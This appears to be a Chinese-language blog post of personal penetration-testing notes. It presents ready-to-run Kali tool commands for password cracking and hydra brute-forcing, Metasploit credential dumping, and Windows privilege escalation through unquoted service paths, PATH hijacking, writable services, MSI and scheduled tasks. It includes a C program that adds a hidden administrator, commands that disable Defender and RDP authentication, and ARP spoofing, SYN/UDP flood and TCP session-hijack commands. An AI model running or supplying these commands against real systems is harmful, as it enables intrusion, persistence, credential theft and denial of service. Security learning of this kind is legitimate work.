0x00、写在前面
本来是记录kali用法的一篇文章,后来就慢慢变成了记录攻防 & 渗透测试 & Kali用法的文章了,本来信息安全就涉及到方方面面就是个大杂烩。
0x01、John the Ripper
john爆破需要一个shadow文件,推荐使用字典爆破。官网John the Ripper password cracker
zip2john flag.zip >> flag.hash # 准备一下
john flag.hash --wordlist=w.txt # 指定字典爆破john --show flag.hash # 显示刚爆破出来的密码
cat ~/.john/john.pot # 显示爆破历史密码
0x02、crunch
crunch字典生产工具。
crunch 13 13 -t 1543%%%%%%.%% > w.txt # 生成一个字典
更常用的用法是,根据生成字典的规则生成,字符集规则在/usr/share/crunch/charset.lst用-f指定。比如,以下用mixalpha-numeric规则生成1到4位大小写字母、数字组合的密码字典。其他规则参看charset.lst文件。
crunch 1 4 -f /usr/share/crunch/charset.lst mixalpha-numeric -o dict.txt
0x03、nmap
0x0300、nmap基本用法
nmap信息收集工具,可以扫描目标主机操作系统、开放端口等。
nmap -O www.kylinos.cn # 扫描操作系统
nmap -sV -p 1-8900 www.kylinos.cn # 扫描1-8900范围的端口及服务nmap -sV -Pn 192.168.27.7 # 万一被扫描服务器屏蔽了你,可以用-Pn
0x0301、nmap技巧
-iL <filename> # 从文件中读取待检测目标,文件中表示方法支持主机名、IP、网段
-iR <hostnum> # 随机选取hostnum台进行扫描,如果-iR 0则无休止扫描
--exclude host1[,host2] # 从描述任务中排除主机
--excludefile <exclude_file> # 排除文件中的IP,格式和-iL格式相同
主机发现
-sL # 仅显示扫描数目,不进行扫描
-sn # ping扫描,主机发现
-Pn # 不检测主机存活
-PS/PA/PU/PY [portlist] # 表示 TCP SYN Ping / TCP ACK Ping / UDP Ping 发现
-PE/PP/PM # 使用ICMP echo,timestamp and netmask 请求包发现主机
-PO [protocol list] # 使用IP协议包探测对方主机是否开机
-n # 不对IP进行域名反向解析/
-R # 为所有IP都进行域名的反解析
扫描技巧
-sS/sT/sA/sW/sM # TCP SYN / TCP connect() / ACK / TCP窗口扫描 / TCP Maimon扫描
-sU # UDP 扫描
-sN/sF/sX # TCP Null / TCP FIN / TCP Xmas 扫描
--scanflags # 自动以TCP包中的flags
-sI zombie host[:probeport] # Idlescan
-sY/sZ # SCTP INIT / COOKIE-ECHO 扫描
-sO # 使用IP protocol 扫描确定目标机支持的协议类型
-b "FTP relay host" # 使用FTP bounce scan
0x0302、nmap脚本
可以用nmap结核NSE脚本,scripts目录 /usr/share/nmap/scripts/
0x04、hydra
hydra爆破工具,支持爆破ssh、ftp、mysql、oracle、sqlserver、smb等一众协议,功能强大。
- -l 指定登录名
- -L 指定登录名字典
- -p 指定密码
- -P 指定密码字典
- -C 指定用户名密码字典,字典格式 user:password
- -M 目标列表文件
- -s 指定非默认端口
- -e -n 尝试空密码
hydra -l user -p 1qaz@WSX ssh://192.168.27.7 # 登录名user 密码1qaz@WSX
hydra -l user -P ./pass10.txt 192.168.27.7 mysql # 登录名user 密码字典pass10.txt
hydra -L user.txt -P ./password.txt ftp://192.168.27.7 # 登录名字典dict.dict.txt 密码字典password.txt
hydra -C dict.dict -e -n -M 'host.txt' smb # 尝试空密码 登录名密码字典dict.dict 目标在host.txt
0x05、Metaploit(msf)
0x0501、Metaploit爆破工具。
以爆破 myql 为例,使用use加载模块,使用show options查看参数设置,设置目标主机、端口、登录名字典、密码字典、爆破并行数,然后run开始爆破。
0x0502、Metaploit搜索EXP && Windows溢出提权
在msfconsole里面用命令 search MS08-067 搜索 MS08-067 漏洞利用模块,通过use使用搜到的模块对存在 MS08-067 漏洞的系统进行攻击。
0x0503、开启路由转发
这个功能本身和msf没有关系,但是渗透需要进行横向扩展,那么就很有用了。
第一种推荐的办法,用frp搭起稳定代理,打开msfconsole,执行以下命令设置socks5代理,比用proxychains要好很多。
setg Proxies socks5:x.x.x.x:port
场景kali、ununtu20、win2016、ubuntu16
kali: 10.30.7.3/24 gw10.30.7.2 eth0;
ubuntu20: 10.30.7.55/24,ens33; 10.0.20.141/24,ens38;
win2016: 10.0.20.100/24,Ethernet0; to be continued,Ethernet1;
ubuntu16: to be continued;
第二种不推荐的办法,kali已经拿下ubuntu20并看到存在10.0.20.0网段,但是kali和10.0.20.0网段不通。先说怎么搞通这个。
开启ubuntu20的路由转发功能。编辑/etc/sysctl.conf,添加如下内容,保存后用命令 sysctl -p /etc/sysctl.conf 使之生效。cat /proc/sys/net/ipv4/ip_forward回显为1表示开启了路由转发。
net.ipv4.ip_forward=1
并开启iptables nat转发,类似配置了路由。
# 原地址10.30.7.0/24目的地址10.0.20.0/24的转换从ens38网卡出
iptables -t nat -A POSTROUTING -s 10.30.7.0/24 -d 10.0.20.0/24 -o ens38 -j MASQUERADE
# 原地址10.0.20.0/24目的地址10.30.7.0/24的转换从ens33网卡出
iptables -t nat -A POSTROUTING -s 10.0.20.0/24 -d 10.30.7.0/24 -o ens33 -j MASQUERADE
# 保存
# 保存到文件 iptables-save > /etc/sysconfig/iptables
iptables-save
kali上要把网关改成ubuntu20 ens33网卡的地址,这样就可以nmap扫描了。
┌──(kali㉿kali)-[~]
└─$ nmcli connection modify eth0 ipv4.gateway 10.30.7.55
kali能ping通10.0.20.141但是ping不通10.0.20.100的原因是win2016防火墙上禁ping了。
0x0504、后渗透
给出msf提权建议
run post/multi/recon/local_exploit_suggester
开启远程桌面
run post/windows/manage/enable_rdp
查看windows的账号密码
load kiwi
creds_all
0x06、searchsploit
searchsploit是exploit-db的命令行搜索工具。定期用-u参数更新,体验更佳。常用参数
- -u 检查并安装exploit-db软件包更新
- -w 在线搜索
- -p 显示EXP完整路径及详细信息
- -j 以json格式显示结果
- -m 把一个EXP拷贝到当前工作目录
0x07、Windows提权
0x0700、Windows收集信息命令
常用命令
systeminfo | findstr /L /C:OS /C:KB # 查看系统版本补丁等
hostname # 查看主机名
whoami # 查看当前用户权限ipconfig /all # 查看所有网络接口
route print # 查看路由表
arp -A # 查看arp缓存
netstat -ano # 查看活动的网络链接、端口、PID
netsh firewall show state # 查看防火墙状态
netsh firewall show config # 查看防火墙配置schtasks /query /fo LIST /v # 查看计划任务
driverquery # 查看驱动程序
icacls "C:\Program Files" # 查看目录和文件权限net start # 查看启动的服务
sc qc 服务名 # 查看服务详细配置
sc stop 服务名 # 关闭服务
sc start 服务名 # 启动服务
sc config "服务名" binpath= "C:\path\to\yours.exe" # 修改服务的binpath 注意binpath=后面有空格# 查看注册表AlwaysInstallElevated的值
reg query HKLM\SOFTWARE\Policies\Microoft\Windows\Installer /v AlwaysInstallElevated
# 修改服务路径
reg add "HKLM\SYSTEM\ControlSet001\Services\服务名" /t REG_EXPAND_SZ /v ImagePath /d "服务路径" /f# 生成添加管理的MSI安装文件
msfvenom -p windows/adduser USER=a$ PASS=123456Pp. -f msi -o /exp.msi
wmic枚举目标信息
wmic qfe list # 查看计算机补丁安装情况
wmic cpu get addresswidth # 查看系统位数
wmic process list brief # 列出进程
wmic process get description, executablepath # 获取进程路径
wmic startup # 查看启动项
wmic share get name, path # 查看共享
wmic product get name, version # 查看安装的软件版本
wmic bios list full | find /i "vmware" # 查看是佛为虚拟机# 查看没有加引号的服务器路径
wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# 查看path环境变量
wmic ENVIRONMENT where "name='path'" get UserName, VariableValue
如果通过其他方式拿到了windows的shell权限,可以开启远程桌面服务。
注册表指定远程桌面的端口是3389,一般默认也是3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f开启远程桌面服务进程
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1防火墙入栈规则,允许3389/tcp端口的访问
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow注册表指定远程桌面认证
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# 注册表指定远程桌面的端口是3389,一般默认也是3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
# 开启远程桌面服务进程
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
# 防火墙入栈规则,允许3389/tcp端口的访问
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 注册表指定远程桌面认证
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
用命令行关闭windows defender,但是必须重启生效。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD
0x0701、利用不带引号的服务劫持服务
查看没有引号的服务路径。这个路径是写在注册表里 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<服务名>\ImagePath 里的。
发现 dsNcService 服务路径没有加引号,并且存在空格,Windows会对空格尝试当前路径下与空格前的名字匹配的程序执行。sc qc 命令查看 dsNcService 服务是自动启动的,以system权限运行的,那么重启之后 Juniper.exe 就自动执行了。那么可以考虑在 "C:\Program Files(x86)\" 目录下建立一个程序 Juniper.exe ,来劫持服务的启动权限。
用C语言编写一个程序 Juniper.c,在windows上创建一个隐藏用户 a$ 。
#include "stdlib.h"
int main(int argc, char *argv[]) {
int i = system("net user a$ 123456Pp. /add");
int j = system("net localgroup administrators a$ /add");
return 0;
}
kali 安装 mingw-w64,并使用 i686-w64-mingw32-gcc 编译出 Juniper.exe 文件。
sudo apt-get install mingw-w64
i686-w64-mingw32-gcc Juniper.c -o Juniper.exe -mwindows
重启服务器后发现,administrators组里多了一个隐藏账号 a$
0x0702、利用PATH环境变量配置错误
在不使用绝对路径的情况下,windows会先在当前目录查找命令执行,如果当前目录找不到就再去PATH环境变量目录里找命令执行。如果PATH环境变量在%SystemRoot%\system32前面还有别的路径,恰好路径里有一个和要执行命令名字相同的恶意程序,那么这个恶意程序就会被执行。
我们以 "C:\Windows\System32\ipconfig.exe" 为例,尝试在windows上创建一个隐藏用户b$。
还是0x0701里面的恶意程序,交叉编译一下得到恶意程序 ipconfig.exe。通过 wmic 查看一下system权限的path,发现在%SystemRoot%\system32前面还有 C:\PortableGit\bin 这个路径,我们把恶意程序ipconfig.exe放到这个路径,那么执行之后在就会创建隐藏账号b$,并且是放在administrators组的。
0x0703、不安全的服务权限 && accesschk.exe工具
通常windows的服务以system权限运行,如果配置了一个低权限的用户可以对服务做出修改,那么可以通过修改服务器的启动文件路径binpath,将其替换为恶意程序的路径,服务启动时就启动了恶意程序。
利用windows上的一个工具accesschk,AccessChk - Windows Sysinternals | Microsoft Learn。获取目标服务器shell权限后上传accesschk,可以发现配置不当的服务,用法如下
accesschk 用户/用户组 文件/文件夹 # 查看用户/用户组 对 文件/文件夹的权限
accesschk -ucqv * # 列出所有服务的权限
accesschk 用户/用户组 -cw * # 查看用户/用户组有写权限的服务# 查看用户/用户组对HKEY_LOCAL_MACHINE\Software目录下注册表项的权限
accesschk -k 用户/用户组 hklm\software
accesschk -wuo everyone # 查看每个账号都能修改的全局对象
很抱歉啊,我这没有users组可以写的服务。假如有的话就可以sc config 修改服务的binpath指向恶意程序了。服务重启时候就执行恶意程序了。
sc config "WritableService" binpath= "C:\PortableGit\bin\ipconfig.exe"
0x0704、不安全的注册表权限 && subinacl.exe工具
微软已经停止提供subinacl.exe工具下载服务,可自行下载。获取目标服务器shell权限后上传subinacl。执行后可以查看服务的注册表项目,如果发现有任意用户权限为Full Control,就可以考虑修改注册表项的ImagePath,指向我们的恶意程序。服务重启时候就执行恶意程序了。添加了隐藏用户 e$
# 查看dsNcService服务的注册表项
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dsNcService" /display
# 修改为恶意程序的路径
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dsNcService" /t REG_EXPAND_SZ /v ImagePath /d "C:\PortableGit\bin\Juniper.exe" /f
0x0705、MSI文件提权 && msfvenom工具
使用下面命令查询windows是否开启了永远以高特权限进行安装的配置。
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果未开启会报错。
如果两个配置都开启了,可以用kali的msvenom工具生成恶意的msi文件,上传后以低权限用户调用msiexec命令运行msi即可。这两个配置都在gpedit.msc里面,一个是计算机配置里的Windows Installer,另一个是用户配置里的Windows Installer。
用kali的msvenom工具生成恶意的msi文件
msfvenom -p windows/adduser USER=c$ PASS=123456Pp. -f msi -o ./game.msi
使用 msiexec 执行一下msi文件 ,就创建了隐藏账号 c$
0x0706、计划任务提权 && schtasks.exe工具
schtasks.exe工具是windows上添加计划任务的工具,若权限配置不当,可以利用一下。使用schtasks查看一下test任务,如果提示“无法加载列资源”用chcp 437调整编码。我们发现test任务是在系统启动时以system权限执行C:\script\task.bat
chcp437
schtasks /query /fo LIST /v /tn test
我们在 C:\script\task.bat 加入一行
net user d$ 123456Pp. /add & net localgroup administrators d$ /add
系统重启后发现确实有了 d$ 并属于 administrators 组。
0x08、信息收集
IP WHOIS查询 - 站长工具IP WHOIS简单来说,就是IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等),通过IP WHOIS来实现对IP地址详细信息的查询https://tool.chinaz.com/ipwhoisFOFA:网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知FOFA 是白帽汇推出的一款网络空间搜索引擎,它通过进行网络空间测绘,能够帮助研究人员或者企业迅速进行网络资产匹配,例如进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等。https://fofa.info/crt.sh | Certificate SearchFree CT Log Certificate Search Tool from Sectigo (formerly Comodo CA)https://crt.sh/Shodan 偏向网络设备以及服务器搜索Search Engine for the Internet of Thingshttps://www.shodan.io/Censys 类同于shodanCensys helps organizations, individuals, and researchers find and monitor every server on the Internet to reduce exposure and improve security.https://search.censys.io/ZoomEye 偏向web应用层面的搜索https://www.zoomeye.org/
0x09、网络层渗透手段
0x0900、ARP欺骗攻击
利用ARP地址解析协议更新ARP缓存表,通过篡改IP地址和MAC地址解析,来冒充网关、欺骗网关、欺骗终端用户、中间人欺骗攻击。
Gateway IP:10.0.0.1 MAC:03-A0-39-21-51-04
Host IP:10.0.0.3 MAC:00-45-E1-32-01-68
Attacker IP:10.0.0.5 MAC:03-58-DA-41-62-04
Attacker对Gateway声称自己是 10.0.0.3,03-58-DA-41-62-04。ARP协议更新Gateway的ARP Table。
Attacker对Host声称自己是 10.0.0.1,03-58-DA-41-62-04。ARP协议更新Host的ARP Table。
这样Host和Gateway之间数据传输都经过Attacker。
常用的ARP欺骗工具有 bettercap、arpspoof、cain等。用arp -a查看arp table的内容。
0x0901、MAC泛洪攻击
伪造大量的位置MAC地址进行通信,MAC表会被充满(容量有限),正常主机MAC地址老化后无法再添加到MAC表。kali 上常用工具 macof。
0x0902、IP源地址欺骗攻击
用工具netwox,构造任意源地址的IP报文。
netwox 41 -j 128 -k 1 -l 192.168.1.106 -m 192.168.27.7 -o 8
用工具nmap,构造任意源地址的IP报文。此时会出现构造的10.10.10.1 和 21.21.31.1两个地址向目标 192.168.27.7 发送的报文,用wireshark抓包可以观察到现象。
namp -vv -D <10.10.10.1,21.21.31.1> -p 80 -sS -Pn 192.168.27.7/32
0x0903、ICMP重定向攻击&隧道攻击
ICMP重定向攻击。原理基础场景:路由器R1、R2位于同一以太网段,Host默认网关为路由器R1,Host要访问10.1.1.1,Host发送给R1,R1路由表显示下一跳是R2,数据包被R1转发到R2,同时向Host发送一条ICMP重定向消息。
利用netwox的第86号工具可以完成ICMP重定向攻击,让数据都流向攻击者。
被攻击者IP 192.168.1.105,攻击者IP 192.168.1.100,网关IP 192.168.1.1。
netwox 86 -f "host 192.168.1.105" -g 192.168.1.100 -i 192.168.1.1
意思是对目标 -f 发出的数据,目的为原来的网关 -i, 重定向到新的网关 -g。
具体用法可以 netwox 86 --help2 查看详细用法。
ICMP隧道攻击,常用工具是 ptunnel,具体用法man一下。
0x0A、传输层攻击
TCP的三次握手和四次挥手
wireshark查看TCP流的序列绝对值。wireshark为了方便查看,默认显示的是TCP流序列相对值(从1开始)。可以设置显示TCP流的序列绝对值(数据包里seq的真实值)。
0x0A00、TCP RST 攻击
TCP RST攻击原理未记录,大概是可以阻断正常的访问,常用工具 netwox 78 和 hping3。
netwox 78 --help2 查看具体用法
netwox 78 -d eth0
hping3 -R -c 10 -I wlan0 192.168.0.101
wireshark过滤条件 tcp.flags.reset==1 && ip.dst==192.168.0.101
用wireshark抓包,找可以过滤出192.168.0.101遭到RST攻击的10个包
0x0A01、TCP SYN Flood 攻击
TCP SYN Flood 攻击原理,大概是异常的SYN耗尽目标资源,阻断正常的TCP三次握手,常用工具 netwox 76 和 hping3。
netwox 76 -i "192.168.0.101" -p 80
hping3 -S -I eth0 192.168.0.101 --flood
0x0A02、TCP 会话劫持攻击
只记录了工具 netwox 40 和 shijack 的例子
netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.204.132 --ip4-dst 192.168.204.131 --tcp-src 45116 --tcp-dst 23 --tcp-seqnum 3332505945 --tcp-acknum 4096321077 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c"
./shijack-lnx eth0 192.168.204.132 45188 192.168.204.131 23
0x0A03、UDP Flood 攻击
大量的UDP数据包耗尽计算资源、带宽资源,结合源地址欺骗技术,利用分布式拒绝服务攻击。消耗对方资源也消耗自己资源,拼资源而已,看谁带宽大资源多坚持到最后。举例 hping3 用法。
hping3 --udp --flood 192.168.0.101 --destport 53 --data 100 --count 20
0x0B、应用层攻击
0x0B00、SMTP钓鱼邮件
邮件要区分 mail_from 和 from 的区别。里有 mail_from 实际发件人、from 宣城发件人。常用 python 代码、swaks工具 来伪造邮件。